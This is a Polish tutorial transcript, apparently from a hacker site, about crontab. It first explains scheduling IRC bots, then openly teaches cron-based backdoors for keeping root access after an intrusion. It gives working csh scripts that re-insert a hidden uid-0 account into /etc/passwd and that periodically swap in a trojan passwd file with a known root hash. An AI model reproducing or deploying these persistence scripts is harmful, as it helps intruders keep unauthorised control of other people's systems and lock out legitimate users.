crontab - Ghostdog.pl

Transkrypt

crontab - Ghostdog.pl
CRONTAB
Crontab jest dość powszechnie używanym programem w Unixie. Potrafi on mianowicie sprawdzać co
określony przez użytkownika czas czy wybrany program jest uruchomiony. Jeśli tak nie jest to wtedy
uruchamia dany program.
Pliczek który pomaga w dopisywaniu botów do crona dodawany jest standardowo i znajduje się w
katalogu "scripts". W zależności od tego czy mamy do czynienia z eggdropem czy tez "klonami" VoID'a
pliki te nieznacznie się różnią.
Opis instalacji innych botów brać można z opisu VoID'a.
Opisane tam sposoby umożliwiają jednak dopisanie tylko 1 bota do crona. A co dzieje się jak spróbujemy
dopisać ich więcej? Zazwyczaj cron podmienia stary wpis i w wyniku otrzymujemy tylko 1 wpisanego boa.
Ewentualnie wpisze się kolejny bot, ale pojawia się problemy przy uruchamianiu ( występują szczególnie
przy ponad 6 botach dopisanych w cronie ).
Istnieje jednak bardzo prosty sposób na ominiecie tej bariery.
Na koncie, na którym masz zainstalowane boty utworzy pliczek o dowolnej nazwie np.:
autocron komenda touch nazwa_pliku ( w naszym przypadku nazwa_pliku=autocron )
Następnie dowolnym edytorem tekstu wpisujesz w pliku linijki:
./diverse bot1
./diverse bot2
./diverse bot3
Linijek może być dużo więcej a fragment ./diverse powinieneś zastąpić nazwa pliku wykonywalnego bota
( np.: ./RaviS, ./blow, ./eggdrop ./volron itp )
Kolejnym krokiem jest zmiana atrybutów utworzonego przed chwila pliku z tekstowego na wykonywalny.
Aby to zrobić wpisz:
chmod 755 nazwa_pliku ( w tym przypadku autocron )
Ostatnim już krokiem jest dopisanie pliku do crontaba tak aby uruchamiał się on wtedy gdy chcesz. Na
koncie piszesz:
crontab -e
Powinien uruchomić się edytor vii. Teraz naciskasz klawisz A aby dodać nowa linijkę i piszesz:
0,10,20,30,40,50 * * * * /sciezka_do_pliku/nazwa_pliku >/dev/null 2>&1
( w naszym przypadku 0,10,20,30,40,50 * * * * /home/bubu/diverse/autocron >/dev/null 2>&1 )
Po wpisaniu naciśnij klawisz ESC następnie ":" ( dwukropek ) i wpisz wq po czym kolejny raz pacnij
ENTER.
Jeśli wszystko poszło dobrze to boty powinny dopisać się do crona. Możesz to sprawdzić pisząc:
crontab -l
I to już koniec.
Równie dobrze zamiast botów dopisać możemy dowolny inny program wpisując to w pliku autocron.
Inne zastosowania crontaba:
Konie trojańskie cron są dobre gdy admin połapał się z "drzwiami" a chcesz
dalej utrzymać roota. Cron jest czasowym demonem, składa się z godzin, minut
itd. Powoduje on ze system automatycznie daje dojście do komend w shellu,
dając czas na wybór... Wpisz w shellu crontab, powie ci jak uruchomić i
usunąć crona. Idź do /var/spool/cron/crontabs/root
A oto jak wygląda cron:
0 0 * * 1 /usr/bin/updatedb
[1] [2] [3] [4] [5] [ 6 ]
1.Minuty, 0-59
2.Godziny, 0-23
3.Dni w miesiącu, 1-31
4.Miesiace w roku, 1-12
5.Dni w tygodniu, 0-6
6.Komenda do wykonania
Wykorzystać Cron'a w celu zostawienia sobie Backdoor'a można na wiele
sposobów. Podam to kilka z nich. Oczywiście możesz sobie wymyślić na ich
podstawie taki sposób który będzie ci najbardziej odpowiadał.
Sposób I :
---------To przykładowy skrypt który będzie sprawdzał czy w pliku /etc/passwd
znajduje się nasze konto z uid 0 ( które wcześniej oczywiście dodaliśmy ).
Jeśli nie, automatycznie je doda za nas ( tutaj jest to użytkownik o nazwie
'eviluser', najlepiej zmień je na mniej podejrzane ) .
Oczywiście jeżeli chcemy aby skrypt ten był wywoływany raz na dobę to
wystarczy dodać do spisu poleceń Cron'a taka linijkę:
0 0 * * * /usr/bin/trojancode
---cut here--#!/bin/csh
# Is our eviluser still on the system? Let's make sure he is.
#[email protected]
set evilflag = (`grep eviluser /etc/passwd`)
if($#evilflag == 0) then # Is he there?
set linecount = `wc -l /etc/passwd`
cd # Do this at home.
cp /etc/passwd ./temppass # Safety first.
@ linecount[1] /= 2
@ linecount[1] += 1 # we only want 2 temp files
split -$linecount[1] ./temppass # passwd string optional
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd # or whatever it was beforehand
rm ./xa* ./temppass
echo Done...
else
endif
---cut here---
Sposob II :
----------Do Crona możemy tez dorzucić linijkę która
wywoła skrypt który np. o godz. 1:32 każdej nocy
podmieni prawdziwy plik /etc/passwd na jakiś nasz
schowany gdzieś w systemie np. w /var/spool/mail/.sneaky.
Doprowadzi to do tego ze ty będziesz mógł się załogować ale
w tym czasie nikt inny. Ale możesz zaraz po minucie
zamienić pliki z powrotem. Wtedy normalnemu użytkownikowi
podczas logowania wyskoczy błąd ale już np. za minutę
wszystko będzie ok.
Oto jak to zrobić :
Najpierw stworzymy fałszywy plik passwd:
#echo "root:SDhj65.daa:0:0:Operator:/:/bin/csh" > /var/spool/mail/.sneaky
Teraz dodamy linijkę do Cron'a
32 1 * * * /bin/usr/sneakysneaky_passwd
a teraz interesujący nas skrypt:
---cut here--#!/bin/csh
# Install trojan /etc/passwd file for one minute
#[email protected]
cp /etc/passwd /etc/.temppass
cp /var/spool/mail/.sneaky /etc/passwd
sleep 60
mv /etc/.temppass /etc/passwd
---cut here--Sposób III :
-----------Ustawiamy Cron'a np. raz w tygodniu w Środę na 3:00 AM, żeby dodał user'a do
/etc/passwd z uid 0. Ustawiamy tez żeby np. o 4:00 AM tego dnia usunął dana
linijkę z /etc/passwd ( albo mięć przygotowany passwd i tak jak wyżej tylko
podmieniać ). W tym przypadku ty będziesz mógł się logować i inni tez gdyż
passwd podmieniany będzie zawierał normalny passwd i jeszcze jedna dodatkowa
linijkę z twoim użytkownikiem z uid 0.
To wszystko są to przykłady jak wykorzystać Cron'a w celu założenia sobie
Backdoor'ow na systemie i jak już powiedziałem to zależy tylko do Ciebie
co dokładnie będzie wykonywane :).